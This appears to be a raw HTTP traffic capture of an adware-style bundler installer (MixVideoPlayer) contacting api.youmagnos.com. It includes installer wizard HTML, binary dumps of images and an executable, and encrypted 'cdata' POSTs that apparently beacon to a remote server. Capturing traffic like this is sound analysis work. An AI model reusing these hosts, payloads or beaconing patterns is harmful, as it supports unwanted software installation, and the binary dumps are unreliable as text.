.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:11EB63A0AE0011E4A9FEBA
77EDE0B7A3" xmpMM:DocumentID="xmp.did:11EB63A1AE0011E4A9FEBA77EDE0B7A3
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:11EB639EAE0011E4
A9FEBA77EDE0B7A3" stRef:documentID="xmp.did:11EB639FAE0011E4A9FEBA77ED
E0B7A3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>.......oIDATx..Y{l.G......l..qvb...WS....
..UTH..*.._.....BH...U.V!JKyH-.(.....M.".....)i.. .vI.4q..............
.q^........nvg.......L.......#r].z./.r/o.......8...C.z0.,.Z...6.>..
..}......V...k.......#{..3.p*..Rq...q.T...L..H....lh..D"..3X...s.X(...
^4.3]...l...sW....x}.&xU{..)......l@.....;<. .........(.......L..].
`..Y........~sxK..u...I8..Fd.......z3.l5...$?[....9]....6.......J..R..
K..k4...7.....s...#..IrLQ.....|.(/....\.X..\U..uG...=........)P.k=...V
/...d............fP.b!...'l.  ......L.c...._y.h.....oJ.#....|..y..s~.l
f.....m..$TZ.Jza...-|..,..H....1..9..[....{..F.93..B..n..U.....:..
<<< skipped >>>

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/progress-level.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Fri, 26 Feb 2016 23:23:38 GMT

ETag: "54fdc5b5-10c6"

Last-Modified: Mon, 09 Mar 2015 16:09:25 GMT

Server: nginx

Content-Length: 4294

Connection: keep-alive
.PNG........IHDR...|.........L.......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /__maxpower__/render_screen/2014/10/e8150ca4-4ae4-11e4-be98-06a3579b0dab/screen_variation=f_link HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Fri, 26 Feb 2016 23:23:51 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 600

Connection: keep-alive
.<!--finish Link-->....<div class="finish">..<h1>...
.....%mapp% Setup Wizard.......</h1>..<p style="margin-top: 1
5px; font-size: 13px;">You have succesfully installed the software 
below and they are ready to be used:</p>....<div class="items
">...<ul>....<li class="check">%mapp%</li>......&
lt;/ul>..</div>....<div class="clear"></div>....&
lt;p>Recommended offers:</p>......<div class="list-toolbar
s" id="alloffers">....<ul class="_FinishOffers">....</ul&g
t;...</div>...........<input id="_Bexit" class="_Bexit close 
absol" tabindex="2" type="submit" name="nombre" onclick='onExit()' val
ue="Close">....</div>......


GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/bullet-short.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Fri, 26 Feb 2016 23:23:51 GMT

ETag: "54fdc5ab-36"

Last-Modified: Mon, 09 Mar 2015 16:09:15 GMT

Server: nginx

Content-Length: 54

Connection: keep-alive
GIF89a.............!.......,...................P..U..;HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Content-Type: image/gif..Date: Fri, 26 Feb 2016
 23:23:51 GMT..ETag: "54fdc5ab-36"..Last-Modified: Mon, 09 Mar 2015 16
:09:15 GMT..Server: nginx..Content-Length: 54..Connection: keep-alive.
.GIF89a.............!.......,...................P..U..;..

GET /sdb/84/MixVideoPlayerSetup.exe HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: staticrr.getmixvideo.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 26 Feb 2016 23:23:38 GMT

Content-Type: application/octet-stream

Content-Length: 3733592

Last-Modified: Fri, 07 Aug 2015 10:28:15 GMT

Connection: keep-alive

ETag: "55c4883f-38f858"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^..........^2.......p....@.........
.................`......p.9......................................t....
......8.............8.................................................
.............p...............................text....].......^........
.......... ..`.rdata.......p.......b..............@[email protected]....\......
.....v..............@....ndata...................................rsrc.
..8............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....
<<< skipped >>>

GET /sdb/df/ffmpeg.zip HTTP/1.0

Host: staticrr.mixvideoplayer.com

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 26 Feb 2016 23:23:56 GMT

Content-Type: application/zip

Content-Length: 9764782

Last-Modified: Wed, 18 Nov 2015 16:20:05 GMT

Connection: close

ETag: "564ca535-94ffae"

Accept-Ranges: bytes
PK.........p;F=........X}.....ffmpeg.exe.].|T....\.HN/jR.D.z..F...&.0.
..F.. jT..X.F.`.#.qw... ..h......R.......j[D...E....E..;.....w.\....|4
.............kol6%.L&3...M.U&...t......s..jZ1....R..p^...ff.........u.
m..{. .'wd...7..{...M.....w.=..d.....d*S,..k......dKLQ..4.u.b.....w.v.
!#..;.f*....n....6.V...7f ..Bde1,......WsX1_n.....V2.$.UwXY5..bC]w....
6.......{.L15N.:.6.mx..:Q.}....I."}5.u.......&...).#xn.^,\....1..k....
..........3.= ....J..'.w...../MW.y......C..W.{..Y...< .....^.......
......... ....[?..wON...S.:.....o xZ..i.....[....n..Zl...1..,....#.=..
W}...i...k......%.3;.vE.>....o..K...>|.[]W...A....{.....~..~..K.
..$,-......'......&..eK&)...g..#So&J TS.j.Z1.YK/.e.5..uQ.1z.m..q}.4...
.u$=.l....w..t......=~...V......k...E..\...4........r.....6Q...2.y..U.
|.iH.<)0...._.{.._Y....7E..#Pl.......>.u....".V.H..4....Lzxw..&l
t;.....Nm!].]^.P~.Vi.Fd._]i..l...fN0...h0S....*.....n./.=V.k...2|9wx.)
6.'`'}....TI..][email protected].$Z..k.3..X....S.......i..$-=$...Z
h.><.{J..{~S.B.:7u&.\p^.u.f..gv.l...4.....M..V.A.V..2..HV}P}.._i
<r..... .R....:P..{..7&n]....%..[...&..EK'.w....0..&.T..Ko.*......f
.d...~.f~..2...Q.\{p.AMlV.Oki.z...e..D..........ya....'h%..f.[.R.....n
4VK.....~..-..bn!..]...q9.!...T<l....g.(iGmrp.0.PN...7.r..4l.>{.
.E..?.'.....!s.JD....rX),..>.#8.....I.D=j..$.U.KQz.C....7..a5..N...
s.f$......Q..j.....^..5p.>..! .I.U<..I.....~u,........I... ....4
.&.4.MT?........... i.......1."........:... ..:.[6.o...jnno6.A.i..l..f
.7..h!..^Cz.5e.3.....k......N._....I.o....$.....>...1...'..7.~.
<<< skipped >>>

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/style.css HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/css

Date: Fri, 26 Feb 2016 23:23:36 GMT

ETag: "5506ab53-5454"

Last-Modified: Mon, 16 Mar 2015 10:07:15 GMT

Server: nginx

Content-Length: 21588

Connection: keep-alive
/* Template Win_Link */...article,aside,details,figcaption,figure,.foo
ter,header,hgroup,menu,nav,section {..display:block;.}.p, h5, h4, h3, 
h2, h1, span, ul, li, form, input, textarea {..margin:0;..padding:0;.}
.body {..margin:0 auto;..background-color:#f6f6f6;..width: 566px;..hei
ght: 458px;..color:#444;..font-family:Arial, Helvetica, sans-serif;..}
.a {..color:#0066cc;.}..clear {..clear:both;..height:0px;..overflow:in
herit;..display: none;.}..li {..list-style: none;.}./*****************
****//*********************//*********************//******************
***//********./* estilo para poner los botones del box.html todos en d
isplay none */.._Bnext, .._Bexit, .._Bdecline, .._Bomit {../*display:n
one;*/.}./**************************************************/..contain
er {..float: left;..width: 566px;..height: 459px;..border: 1px solid #
ccc;..margin: 0 auto;.}.../*****************Template Win_Link*********
********/......minimize {..float: right;..width: 45px;..position: rela
tive;..margin-right: -45px;..right: 45px;..margin-top: 12px;..z-index:
 9999;.}....minimize ul li {..display: inline;..float: left;.}...minim
ize .button-min {..color: #8b8b8b;..text-decoration: none;..border: no
ne;..font-size: 17px;..float: left;..line-height: 12px;..font-weight: 
lighter;..cursor: pointer;..width: 12px;..}.../***********************
***************************/./* content */./**************************
************************/.b {..font-weight: normal;.}..content {..widt
h:90%;..height:353px;..position: relative;..margin: 0 auto;..borde
<<< skipped >>>

GET /__maxpower__/render_screen/2014/11/d1187d84-6a69-11e4-b052-06a3579b0dab/screen_variation=I_link HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Fri, 26 Feb 2016 23:23:36 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 953

Connection: keep-alive
..<!--Intall Link-->..<div class="install">..    <h1>
;Installation Progress</h1>.    .    <p>This Download Mana
ger will minimize to your system tray shortly to allow you to work on 
other items while your selections install. To restore this window, sim
ply click on the icon in your system tray.</p>.    .      <di
v class="install-loading">.    </div>.    <div class="prog
ress-bar">.        <div class="_TotalProgressLevel progress-leve
l" ></div>            .    </div>....<div class="cle
ar" style="height:10px; display:block;"></div>.     <div c
lass="_ProgressInstallingText" style="display:none; text-align: center
; margin-left: 45px; width: 422px;"><p>Installing ...</p&g
t;</div>.    .    <div class="_ProgressText" style="display:n
one;  margin-left: 33px;">.        <p>Process: <span class
="_ProgressTextDownloaded"></span>  of <span class="_
ProgressTextTotal"></span> (<span class="_ProgressTextPerc
entage"></span> %)</p>.    </div>..   .   .</d
iv>.....

GET /maxpower-static/apps/34/68794/css/style.css HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/css

Date: Fri, 26 Feb 2016 23:23:36 GMT

ETag: "5506bcbe-72"

Last-Modified: Mon, 16 Mar 2015 11:21:34 GMT

Server: nginx

Content-Length: 114

Connection: keep-alive
/* mapp MixVideoPlayer */....welcome ul  {...width:210px;..float: left
; ..}...welcome ul li {..margin-top: 10px;.}....

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/loading-install.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Fri, 26 Feb 2016 23:23:37 GMT

ETag: "54fdc5b0-1644"

Last-Modified: Mon, 09 Mar 2015 16:09:20 GMT

Server: nginx

Content-Length: 5700

Connection: keep-alive
GIF89a..........|~|...DFD......$"$dbd............424trt......\Z\......
............LNLljl...<><.........LJL......,.,dfd............4
64|z|.................................................................
....!..NETSCAPE2.0.....!.......,[email protected]..#....B*...@..$
...u8.5....&.0.cX6..~-.ka..J0. ..*.'. B."*B... ,0..NB...0.".)%S.....q%
.)!.&D.$..q....W..c.}D.....q$...../...q0......**.*..0...I..W&h..$.K.#.
0.-.$..IL....L$*h.Z\.a.....T. q......-.....z.$<..D...L..H.g... ....
1.Bn)....M..~*.M.......-....!.......,............|~|...DFD......,.,...
dfd..................TVT......464...trt............|z|.........LNL....
..424...............\Z\......<:<...tvt..........................
[email protected]... ..E....A*...CX.>;..P
. -\P)....]YiW.._?..0..DJ..*..z.% .B%.-,g..#C#''.. . .S!.-.o.) .'.C..-
.b...(b(.W.*I.*...o,....."".".o.........b....,I..J.nI#.".b....D.*...W.
.......%g.NB#.\.x..@.=%..X`l....P..p....[....$...!D.x.g.$..F.S(fc.!(..
$.a....&."I.C...W...!.......,............|~|...DBD......\^\...........
.......TRTljl.........,.,...............LJL...trt............dfd$"$...
............\Z\lnl.........424............LNL.........................
........................pH..&.........0#b)..J....>.....,b..B.A...G.
*....TD.".T!.....{1./[1.""(g..$C$.-1./0.)S,.".Vb)..."N..Uo.0.*b..b$.I.
,...oO......"."..1. ...........rD.o..J$..J....C....I# . ....g..1...1..
J..!$.....x@.!....8|@q...-..8.`.Y.Q.2......7.s1..f...."LX/..'...@...
. .!.......,............|~|...DFD......dbd$&$.........trt...424...
<<< skipped >>>

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/progress-bar.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Fri, 26 Feb 2016 23:23:38 GMT

ETag: "54fdc5b3-cc6"

Last-Modified: Mon, 09 Mar 2015 16:09:23 GMT

Server: nginx

Content-Length: 3270

Connection: keep-alive
.PNG........IHDR...|.........L.......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

POST /dd49bd219cbd01f57c0247abd593edaec102a939928946cbd3305ab43ea5cab1b917e59fbda789e62c197bc3a2ad35431925a7e64db7be00 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 2 R:-842150449

Host: api.youmagnos.com

Content-Length: 3206

Cache-Control: no-cache

cdata=86394263D6DED7AD3ED013DFEF7E64F6137A208FB1ABB3F74C63F2DAA19383D3FD1D608CEFC8325742961BFA23E787C053B8D6AD3DD461FCB0B26CE7A08C38A5D6DB823BE60CB284611998991028BE38C4EF69891E674B1B8B220BFB20BAD163FFEDA11648DD04F847C1B242EC415E48225CBBD8B904AF067D156766B526CCBE7C5A0D883E951EA5AD000DEB02A60D93678FFFE2322BC8AD739A7AB9B51737C7420E905D5A95F94DF0E36F22BDC30673F04DB707C22DF0D5D841635DB31D53EBBDBE070CF7B3488AB5702A2C720EE2F0B6CA39E8F5945C12FDA6C21F9B53972EE45DAADA63FC4F22E95916F1DF5CD859A7830649E76B9662BB530BAD59640CCD13B87755FC7AD07069CE0A162AA31A7B289692B78245185EAB765BB84F428E815B6D246B87684BC23357BC5D86E4F13AAD1749B4F4F18AE536846D74B8434DD5E0F7D4741960CCC62CF23C961984FB2ADB7553BB90B9D7773EB33AF3D6764BC74B6C1883319BC806F0952443124BB506AB5957BF5C5DD000BE6D4024299617A31D6FEB7036F75BC6E4FBE4E8F834A7DDECC69F64096F8075CF35453EBCFD4598CE79DA937B31F8C61881854F05173F4E69A41CCF591668E48E067403D64715C2A81B0970F9ED4369DED8C44E9B119D9AC978ECA9C73BEB7BB9608978DFF636053CE4C2FB5330ECADA4FE49CF9E0399B3A4A79370B8761D953D0200AA5FDEB553EF439761F914CE0F73C6D287014A8DBA183DC35B51EF50BC7E13978AC7F6B7B40A9CD1C06E2C1BBB1B36C1C93619120F15AB75DAA92ECE6F5E2CDA96EB889B45064B63B7E9792FB731E1CBEE7578E8819A5E0
HTTP/1.1 200 OK

Content-Type: text/plain

Date: Fri, 26 Feb 2016 23:23:51 GMT

Server: nginx

Content-Length: 7

Connection: keep-alive
MAXTHX.HTTP/1.1 200 OK..Content-Type: text/plain..Date: Fri, 26 Feb 20
16 23:23:51 GMT..Server: nginx..Content-Length: 7..Connection: keep-al
ive..MAXTHX...

GET / HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/html

Date: Fri, 26 Feb 2016 23:23:28 GMT

ETag: "54521356-38"

Last-Modified: Thu, 30 Oct 2014 10:30:46 GMT

Server: nginx

Content-Length: 56

Connection: keep-alive
<html><head><title>ok</title></head><
body></body></html>HTTP/1.1 200 OK..Accept-Ranges: byte
s..Content-Type: text/html..Date: Fri, 26 Feb 2016 23:23:28 GMT..ETag:
 "54521356-38"..Last-Modified: Thu, 30 Oct 2014 10:30:46 GMT..Server: 
nginx..Content-Length: 56..Connection: keep-alive..<html><hea
d><title>ok</title></head><body></body&g
t;</html>....


GET /99337b01e9530b69b86fc1310859167cbcc79c09381bc88879fecbc51ff412bed8543ea82eecf9a6bd28bf7f8c115b7f28655687cc58f0d79110a91fe105cca827b5ea24c1b89ed9e8077f57a58a710fc6659e643e819a8ddcb3e46fa8cfe52769081b031bdc66cc HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/html

Date: Fri, 26 Feb 2016 23:23:33 GMT

Server: nginx

transfer-encoding: chunked

Connection: keep-alive
2254..2999e6d26bcdc64abda3edffff580f8e944f63f28adc605eef8830d603d77ac8
30b8a5ea60125617197b59396f6eb1d274ebf813e1b8d4e1dcbcaa545aa145600decc0
bc6fafc47fe1eb2ed7ff9c44e02f2a71bdaea8a03c28213a0cf469dea21bfa116fe3b9
33857bfa866acd67a7c72930d63465ed6eab1a448c05298a8e273ea1ec8a7f8b36b683
4ec07dee9bf42e6f9f6071aa22967570fe0bbf478ceb49fab6165cc85e2aa7c9dd5a97
76ee621d92656c587e39d2bdbc18f0fed6a91c5209c39e970c91b8f614494bb0b39810
49a3b363ab562efe6478039d6baef135c8e4229f4bd36bdbc709f92425aba478d53719
ac3934fee69be74cf31bebee1ec333dafaf2eab447d09a4d8070280c69d7f9b00b3c3f
9df41dc36e0a2f9259a5771a585a620be2ae57eeb2f39923a61625f32fcec8f94cb69a
05dd0eb7e3dd9b816c58d082242e3ec56aa26df4ce72eca72115775e9576e89f6ef0d4
3622ec017298c3df8b4bf65cb8fb1eda5d5029980790ee8b2a2dd40486c90ccf2c30d8
a76b3c8f648e8e7e28ecba4fc0d3d4422450a565c86f069f4dbb8568e44e6781e2bd66
c3174612d2553c1ce87f114b79e16b94feb4a3fce63d49557eff438cbba0beb1d7493e
322ad7fc50934bc3827f3d28c705dfde9dab84c31d4f8e759418a87f5c0dc10b852b6c
72f2e190d1f6154a109c8ef9df8c92f98bf2c74407bd765c47624eb8f97d7969f04a1f
76d3abe502a2d1240cc089b1476db8be09345ccb6a52299b3bc4358a6ad301e102784e
2616be6300163cd3f086c613b7472c00009771a3008e7cd1f82c3c9fdd2fa6503fd248
13f1b21638be9f676d999ab4a45b839b458b9375986a106b5553030c8af319561b4859
332d46e9352d1c4e36b1ad00a2c952e32f9034ae7abaa104c53cbd6ea1230258166933
de62717e4425d4efe8922782d98818af8886a11e4b4c9f06491c78806d25bf11328f98
9046bd41a64ba369deafd18745e179cafa55ee8313bd36473ba0be771a5ccc6f4e9cf8
bf1e96b86042c13f3882984844b9056b4485e9c230217d974b06d2a3fc79b2e047
<<< skipped >>>

POST /04a6907ac555a4db3bae8fe38443eddaf5b0b41c05f2b5fb3f09bbeb82d024c435ee728ae2c00f4d189177cd993b2b7a79a5c798dbfa0fdb HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 1 R:-842150450

Host: api.youmagnos.com

Content-Length: 2694

Cache-Control: no-cache

cdata=86394263D6DED7AD3ED013DFEF7E64F6810202E9866DC605C250CECCD7CB22F9686417E27FE9F67D358BFE17ACB1D241180ECC39589A1933488922E01AA18B5990C77361D300FD3F93ED09E2CB744C97B804FC5436AE22A9F5722F00091BD760F326B044A545E60D1BB4F9DA4B46BE98F7C92C57C96391C6C81F9ED760A8FD39994D94783DD988EB9FCA7459B10617C9B5A204861E8213F8D51D66496FEC021B0DAA8D9F476E0F4648D0EBB749B52FEF4077F860665EDA542F822D6754FBB6748D4683F78403FD38600CA987324BB0D1001B6E9C594D56C301406A4E09C0F629C2F280B27F7D91B1CBE37A5004231949E349FEEA689EA90AD2B7B3A7EE6F7C9F88830C0AC5BD5867E90CF483582E713324790AFE334447DCB304716E585C3C2BEBF84306378B940F32613C41634C85B60D7480C3BE0CF797DDF28BBD7B8DB384C040B8AE22ADE53037EFDC4013ADE654B3D2F919F6A16DBF1EF3E12AC98881C3F4AB4DC29D708E27F1098FF6CBC18ABB4493E7B71B0EDBA6DFFBED27686B2C95991D2E1979F422CFF8CF45213A1F0D04930D75914EDEE103332BF7B28AE6224E056DD395A198F4C3A224A05036E2F96AEE82F1288604581EA0BF01F9D39B769ED4BBCA36C5D6F0CFDD83D7EE0DE6C3412812381B439980C8F720E095C11F7ECC51EC65221FEC8A7071450FEC5B6A25A175B539011DA3924FFE65D8997201B0BD2B78BEB96E9CE4135438CA6DCC057167649078EB7FDE138355064EC164222301DE3E2626848AA3E834A8F94361046319A0DA2C609699DE55C5589C0598EBB5B281124486B41429E66DA5EACBA1A2FB3D12FC2
HTTP/1.1 200 OK

Content-Type: text/plain

Date: Fri, 26 Feb 2016 23:23:36 GMT

Server: nginx

Content-Length: 7

Connection: keep-alive
MAXTHX.....


GET /__maxpower__/render_template/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab?language_code=en HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.youmagnos.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Fri, 26 Feb 2016 23:23:36 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 2152

Connection: keep-alive
..<!--Template Win_Link-->.<div class="link-v2">.<div c
lass="container">.. <div class="minimize">.  <ul>.    &
lt;li><span id="_Bminimize" onclick="minimizeWindow();" class="b
utton-min">-</span></li>.    <li><span id="_Be
xit" onclick="onExit()" class="button-min">x</span></li>
;.  </ul>.</div>..<div class="icon-image">.</div&
gt;..<div id="_frameContainer" class="content">..  ..</div>
;...<!-- buttons -->.<div class="buttons">..  <!--boton
es derecha -->.  .  <input id="_Bnext" class="_Bnext green right
" buttonText="Next" tabindex="0" type="submit" value="Next" onclick='o
nAccept();'>.  ..  <!--botones izquierda -->..  .  <input 
id="_Bomit" class="_Bomit normal-close leftnowidth" tabindex="3" type=
"submit" name="nombre" value="Skip All" onclick='onOmit();'>.  .  .
  <input id="_Bdecline" class="_Bdecline normal-close leftnowidth" 
tabindex="1" type="submit"  name="nombre" value="Decline"  onclick='on
Decline();'>.  ..  <div class="clear"></div>.</div&g
t;..  ..<div class="contact">.  <div class="contact-in" style
="height: 20px;">..    <ul>.      <li><a target='_bl
ank' class="first _TitPrivacy">Privacy Policy</a></li>.
      <li><a target='_blank' class="_TitSetup">Setup info&
lt;/a></li>.      <li><a target='_blank' class="_Tit
Free">Why is this free?</a></li>.      <li>&l
<<< skipped >>>

GET /js/show_ads.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.youmagnos.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

